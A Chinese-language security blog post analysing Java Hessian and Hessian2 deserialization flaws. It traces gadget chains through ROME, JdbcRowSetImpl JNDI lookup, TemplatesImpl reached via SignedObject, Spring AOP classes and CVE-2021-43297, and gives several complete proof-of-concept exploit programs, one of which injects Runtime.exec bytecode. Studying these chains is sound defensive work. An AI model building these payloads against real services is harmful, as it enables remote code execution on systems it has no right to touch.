简介
Hessian是一个基于HTTP协议采用二进制格式传输的RPC服务框架,相对传统的SOAP web service,更轻捷。Hessian是Apache Dubbo在Java语言的实现,该框架还提供了Golang、Rust、Node.js 等多语言实现。Hessian 是一种动态类型、二进制序列化和 Web 服务协议,专为面向对象的传输而设计。
JDK自带的序列化方式,使用起来非常方便,只需要序列化的类实现了Serializable接口即可。JDK序列化会把对象类的描述和所有属性的元数据都序列化为字节流,另外继承的元数据也会序列化,所以导致序列化的元素较多且字节流很大,但是由于序列化了所有信息所以相对而言更可靠。但是如果只需要序列化属性的值时就比较浪费。其次,由于这种方式是JDK自带,无法被多个语言通用。
和JDK自带的序列化方式类似,Hessian采用的也是二进制协议,只不过Hessian序列化之后,字节数更小,性能更优。目前Hessian已经出到2.0版本,相较于1.0的Hessian性能更优。相较于JDK自带的序列化,Hessian的设计目标更明确。
Hessian 协议具有以下设计目标:
java version “1.8.0_71”
pom.xml
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
先写一个简单的 JavaBean 类
public class Person implements Serializable {
private String name;
private int age;
private String telNumber;
public Person() { }
public Person(String name, int age, String telNumber) {
this.name = name;
this.age = age;
this.telNumber = telNumber;
}
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public String getTelNumber() { return telNumber; }
public void setTelNumber(String telNumber) { this.telNumber = telNumber; }
}
然后用Hessian序列化反序列化一手
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
public class HessianTest {
public static void main(String[] args) throws IOException {
Person person = new Person("ph0ebus",1,"12345678901");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(person);
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
System.out.println(hessianInput.readObject());
}
}
可以发现和原生jdk序列化反序列化的使用方法很类似
Java 的Map
对象在进行 Hessian 反序列化过程中,会调用com.caucho.hessian.io.Deserializer#readMap()
方法来恢复对象,其中会调用HashMap#put()
,这里就存在这安全隐患。
跟进HessianInput#readObject()
public Object readObject() throws IOException {
int tag = this.read();
String type;
int data;
switch (tag) {
// ...
case 77:
type = this.readType();
return this._serializerFactory.readMap(this, type);
// ...
}
}
可以看到它会读取字节流的第一个字节作为判断依据,查阅文档可以发现字符M代表着类型HashMap
从而调用readMap()方法
public Object readMap(AbstractHessianInput in, String type) throws HessianProtocolException, IOException {
Deserializer deserializer = this.getDeserializer(type);
if (deserializer != null) {
return deserializer.readMap(in);
} else if (this._hashMapDeserializer != null) {
return this._hashMapDeserializer.readMap(in);
} else {
this._hashMapDeserializer = new MapDeserializer(HashMap.class);
return this._hashMapDeserializer.readMap(in);
}
}
这里需要进到最后一个else语句,调用MapDeserializer#readMap()
public Object readMap(AbstractHessianInput in) throws IOException {
Object map;
if (this._type == null) {
map = new HashMap();
} else if (this._type.equals(Map.class)) {
map = new HashMap();
} else if (this._type.equals(SortedMap.class)) {
map = new TreeMap();
} else {
try {
map = (Map)this._ctor.newInstance();
} catch (Exception var4) {
throw new IOExceptionWrapper(var4);
}
}
in.addRef(map);
while(!in.isEnd()) {
((Map)map).put(in.readObject(), in.readObject());
}
in.readEnd();
return map;
}
可以看到能够调用HashMap#put()
调用 HashMap#put() 会将 Map 中的 key 与 value 传入,这将会触发 key 的hashCode()
方法,这个在URLDNS链有分析,接着就可以触发ROME链调用任意类getter方法,这里是JdbcRowSetImpl#getDatabaseMetaData()
Poc
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class JdbcRowSetImplTest {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "rmi://localhost:1099/aa";
jdbcRowSet.setDataSourceName(url);
ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
ObjectBean objectBean = new ObjectBean(String.class, "whatever");
HashMap map = new HashMap();
map.put(objectBean, "");
setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean));
//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(map);
hessianOutput.close();
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
hessianInput.readObject();
hessianInput.close();
}
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
}
RMI服务端的代码不再赘述
既然ROME链可以用,那ROME链的TemplatesImpl利用链能否利用呢?
尽管调用链看上去是毫无破绽的,但这里需要注意Hessian序列化的特性,它不会序列化transient
关键字修饰的属性
private transient TransformerFactoryImpl _tfactory = null;
而 TemplatesImpl 利用链的关键属性 _tfactory
被该关键词修饰,导致反序列化后对象的_tfactory
属性值为null,因为TemplatesImpl#defineTransletClasses()
方法里有调用到 _tfactory.getExternalExtensionsMap()
如果是null
会出错,因此无法直接利用此链
But,如果不用Hessian反序列化呢?那不就可以利用咯!这就得用到二次反序列化大法了,这里先简单介绍一种,后边再来总结。
java.security.SignedObject类有一个令人满意的getter方法getObject()
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}
content通过构造方法可控,这里就可以调用任意字节流的原生反序列化,并返回反序列化后的对象,接下来就是ROME反序列化链了,这里以BadAttributeValueExpException触发ToStringBean#toString()为例
Poc
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class SignObjectTest2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 创建EvilTest对象,父类为AbstractTranslet,注入了payload进静态代码块
ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池
classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("EvilTest"); // 创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); // 设置EvilTest的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 创建一个static方法,并插入runtime
byte[] code = payload.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","ph0ebus");
setFieldValue(obj,"_bytecodes",new byte[][]{code});
setFieldValue(obj,"_class",null);
ToStringBean bean = new ToStringBean(Templates.class, obj);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setFieldValue(badAttributeValueExpException,"val",bean);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
// 设置二次反序列化入口
SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);
// 下面是常规构造
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject);
ObjectBean objectBean2 = new ObjectBean(String.class, "whatever");
HashMap map = new HashMap();
map.put(objectBean2, "");
setFieldValue(objectBean2, "_equalsBean", new EqualsBean(ToStringBean.class, toStringBean2));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(map);
hessianOutput.close();
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
hessianInput.readObject();
hessianInput.close();
}
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
}
这条调用链还可以缩短一手
注意ToStringBean#toString()
这个方法,我们前面只利用了可以调用任意类getter方法这个点,但调用getter方法后返回的对象还调用了printProperty()
方法
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception var8) {
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
}
return sb.toString();
}
跟进一手printProperty()
方法,发现经过对象类型判断后可以调用到该对象的toString()
方法
private void printProperty(StringBuffer sb, String prefix, Object value) {
if (value == null) {
sb.append(prefix).append("=null\n");
} else if (value.getClass().isArray()) {
this.printArrayProperty(sb, prefix, value);
} else {
Iterator i;
String cPrefix;
Object cValue;
String[] tsInfo;
Stack stack;
String s;
if (value instanceof Map) {
// ...
} else if (value instanceof Collection) {
// ...
} else {
String[] tsInfo = new String[]{prefix, null};
Stack stack = (Stack)PREFIX_TL.get();
stack.push(tsInfo);
String s = value.toString();
stack.pop();
if (tsInfo[1] == null) {
sb.append(prefix).append("=").append(s).append("\n");
} else {
sb.append(s);
}
}
}
}
结合SignObject#getObject()
,我们就可以调用满足条件的可控对象的toString()方法,恰好ToStringBean类可以通过上面的类型判断,于是链子就出来了
Poc
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class SignObjectTest {
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 创建EvilTest对象,父类为AbstractTranslet,注入了payload进静态代码块
ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池
classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("EvilTest"); // 创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); // 设置EvilTest的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 创建一个static方法,并插入runtime
byte[] code = payload.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_name", "whatever");
setFieldValue(obj, "_class", null);
setFieldValue(obj, "_bytecodes", new byte[][]{code});
ToStringBean toStringBean = new ToStringBean(Templates.class, obj);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
// 设置二次反序列化入口
SignedObject signedObject = new SignedObject(toStringBean, privateKey, signingEngine);
// 下面是常规构造
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject);
ObjectBean objectBean2 = new ObjectBean(String.class, "whatever");
HashMap map = new HashMap();
map.put(objectBean2, "");
setFieldValue(objectBean2, "_equalsBean", new EqualsBean(ToStringBean.class, toStringBean2));
//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(map);
hessianOutput.close();
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
hessianInput.readObject();
hessianInput.close();
}
}
前面都是利用HashMap#put()方法调用到hashCode()方法进行利用,这里换一个攻击面,put()方法会调用putVal()方法,而putVal方法可以调用任意类的equals方法,从而引发安全漏洞,具体前面ROME反序列化的XString链有所介绍
依赖于springframework
首先要调用到equals方法需要两对数据的key的hashcode相等,且key不同才能进行比较操作,之前是利用HashMap构造,现在有了springframework我们换一个类构造,这个类就是org.springframework.aop.target.HotSwappableTargetSource
跟进HotSwappableTargetSource#hashCode()
public int hashCode() {
return HotSwappableTargetSource.class.hashCode();
}
可以发现其hashCode值与key无关,于是调用HotSwappableTargetSource#equals()
public boolean equals(Object other) {
return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
}
这里this.target是构造方法传入的可控对象,也就是可以调用任意类的equals方法,那么就可以使用XString链调用任意类的toString()方法了
public boolean equals(Object obj2)
{
if (null == obj2)
return false;
// In order to handle the 'all' semantics of
// nodeset comparisons, we always call the
// nodeset function.
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());
}
分析到这里,我们回到了一个经典问题,如何通过调用任意类的toString方法进行恶意利用?
这里通过springframework的类构造一条链子出来,最终实现 JNDI 注入
lookup:417, InitialContext (javax.naming)
doInContext:155, JndiTemplate$1 (org.springframework.jndi)
execute:87, JndiTemplate (org.springframework.jndi)
lookup:152, JndiTemplate (org.springframework.jndi)
lookup:179, JndiTemplate (org.springframework.jndi)
lookup:95, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support)
doGetType:226, SimpleJndiBeanFactory (org.springframework.jndi.support)
getType:191, SimpleJndiBeanFactory (org.springframework.jndi.support)
getOrder:127, BeanFactoryAspectInstanceFactory (org.springframework.aop.aspectj.annotation)
getOrder:216, AbstractAspectJAdvice (org.springframework.aop.aspectj)
getOrder:80, AspectJPointcutAdvisor (org.springframework.aop.aspectj)
toString:151, AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder (org.springframework.aop.aspectj.autoproxy)
跟进org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder#toString
public String toString() {
StringBuilder sb = new StringBuilder();
Advice advice = this.advisor.getAdvice();
sb.append(ClassUtils.getShortName(advice.getClass()));
sb.append(": ");
if (this.advisor instanceof Ordered) {
sb.append("order ").append(((Ordered)this.advisor).getOrder()).append(", ");
}
if (advice instanceof AbstractAspectJAdvice) {
AbstractAspectJAdvice ajAdvice = (AbstractAspectJAdvice)advice;
sb.append(ajAdvice.getAspectName());
sb.append(", declaration order ");
sb.append(ajAdvice.getDeclarationOrder());
}
return sb.toString();
}
继续跟进AspectJPointcutAdvisor#getOrder()
public int getOrder() {
return this.order != null ? this.order : this.advice.getOrder();
}
这里this.advice根据其构造方法,是AspectJAroundAdvice的对象,继续跟进AspectJAroundAdvice#getOrder()
public int getOrder() {
return this.aspectInstanceFactory.getOrder();
}
这里this.aspectInstanceFactory
是AspectInstanceFactory接口类,而BeanFactoryAspectInstanceFactory是该接口的实现类,因此可以调用到BeanFactoryAspectInstanceFactory#getOrder()
public int getOrder() {
Class<?> type = this.beanFactory.getType(this.name);
if (type != null) {
return Ordered.class.isAssignableFrom(type) && this.beanFactory.isSingleton(this.name) ? ((Ordered)this.beanFactory.getBean(this.name)).getOrder() : OrderUtils.getOrder(type, Integer.MAX_VALUE);
} else {
return Integer.MAX_VALUE;
}
}
这里可以调用SimpleJndiBeanFactory#getType()
->SimpleJndiBeanFactory#doGetType()
->SimpleJndiBeanFactory#doGetSingleton()
private <T> T doGetSingleton(String name, Class<T> requiredType) throws NamingException {
synchronized(this.singletonObjects) {
Object jndiObject;
if (this.singletonObjects.containsKey(name)) {
jndiObject = this.singletonObjects.get(name);
if (requiredType != null && !requiredType.isInstance(jndiObject)) {
throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject != null ? jndiObject.getClass() : null);
} else {
return jndiObject;
}
} else {
jndiObject = this.lookup(name, requiredType);
this.singletonObjects.put(name, jndiObject);
return jndiObject;
}
}
}
然后进入JndiLocatorSupport#lookup()
从这个方法可以调用到关键的JndiTemplate#lookp()
public Object lookup(final String name) throws NamingException {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Looking up JNDI object with name [" + name + "]");
}
return this.execute(new JndiCallback<Object>() {
public Object doInContext(Context ctx) throws NamingException {
Object located = ctx.lookup(name);
if (located == null) {
throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
} else {
return located;
}
}
});
}
终于到达 JNDI 注入处InitialContext#lookup()
链子分析结束!
Poc待完善…
对于 Hessian2 协议,Java 的HashMap
对象经过序列化后首位字节由M
变为了H
,对应 ascii 码 72,其他的区别不大
pom.xml
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-serialization-hessian2</artifactId>
<version>2.7.14</version>
<scope>test</scope>
</dependency>
示例
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
public class Hessian2Test {
public static void main(String[] args) throws IOException {
Person person = new Person("ph0ebus", 19, "12345678901");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeObject(person);
hessian2Output.close();
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
System.out.println(hessian2Input.readObject());
hessian2Input.close();
}
}
字符串和对象拼接导致隐式触发了该对象的 toString 方法, 从而引发后续一系列的利用方式
问题主要出在 Hessian2Input 的 expect 方法
protected IOException expect(String expect, int ch) throws IOException {
if (ch < 0) {
return this.error("expected " + expect + " at end of file");
} else {
--this._offset;
try {
int offset = this._offset;
String context = this.buildDebugContext(this._buffer, 0, this._length, offset);
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")\n " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
} catch (Exception var6) {
log.log(Level.FINE, var6.toString(), var6);
return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));
}
}
}
那么就要关注哪些方法调用了这个expect 方法,可以发现蛮多read打头的方法都调用了,那就找一条能用的就行,这里选用的是readString()
public String readString() throws IOException {
int tag = this.read();
int ch;
switch (tag) {
case 0:
case 1:
case 2:
case 3:
case 4:
// ...
case 31:
this._isLastChunk = true;
this._chunkLength = tag - 0;
this._sbuf.setLength(0);
while((ch = this.parseChar()) >= 0) {
this._sbuf.append((char)ch);
}
return this._sbuf.toString();
case 32:
case 33:
case 34:
case 35:
case 36:
case 37:
case 38:
case 39:
case 40:
case 41:
case 42:
case 43:
case 44:
case 45:
case 46:
case 47:
case 52:
case 53:
case 54:
case 55:
case 64:
case 65:
case 66:
case 67:
case 69:
case 71:
case 72:
case 74:
case 75:
case 77:
case 79:
case 80:
case 81:
case 85:
case 86:
case 87:
case 88:
case 90:
case 96:
case 97:
case 98:
// ...
case 127:
default:
throw this.expect("string", tag);
case 48:
case 49:
// ...
}
}
这里代码截取了较关键的一部分,可以看出由于java中switch语句中case…:
标签语法采用的是穿透语义(fall-through semantics),也就是如果case控制的语句体后面不写break,不判断下一个case值,向下运行,直到遇到break,或者整体switch语句结束
也就是说如果tag满足case 32:
及以下到default:
的任何一个条件或者完全不满足任何一个default:
之前的条件语句,就能调用到expect()方法
查看哪里调用了readString()
,可以找到readObjectDefinition()
,恰好这个方法当tag等于67时会被readObject()
调用,那这里就连起来了
private void readObjectDefinition(Class<?> cl) throws IOException {
String type = this.readString();
int len = this.readInt();
SerializerFactory factory = this.findSerializerFactory();
Deserializer reader = factory.getObjectDeserializer(type, (Class)null);
Object[] fields = reader.createFields(len);
String[] fieldNames = new String[len];
for(int i = 0; i < len; ++i) {
String name = this.readString();
fields[i] = reader.createField(name);
fieldNames[i] = name;
}
ObjectDefinition def = new ObjectDefinition(type, reader, fields, fieldNames);
this._classDefs.add(def);
}
接下来就是如何让tag为67了,可以重写 writeString 指定第一次 read 的 tag 为 67, 还可以给序列化得到的bytes数组前加一个67
Poc
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.sql.SQLException;
public class CVE_2021_43297 {
public static void main(String[] args) throws IOException, SQLException {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "rmi://localhost:1099/aa";
jdbcRowSet.setDataSourceName(url);
ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeObject(bean);
hessian2Output.close();
byte[] data = byteArrayOutputStream.toByteArray();
byte[] poc = new byte[data.length + 1];
System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
System.arraycopy(data, 0, poc, 1, data.length);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(poc);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
System.out.println(hessian2Input.readObject());
hessian2Input.close();
}
}
这样就可以调用任意类的toString()方法
参考链接: Java安全-Hessian | jiang Hessian CVE-2021-43297 & D3CTF 2023 ezjava | X1r0z Hessian 反序列化及相关利用链 | Longofo@知道创宇404实验室 被我忘掉的Hessian反序列化 | Boogipop Hessian反序列化机制与利用链构造 | M1sery
本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus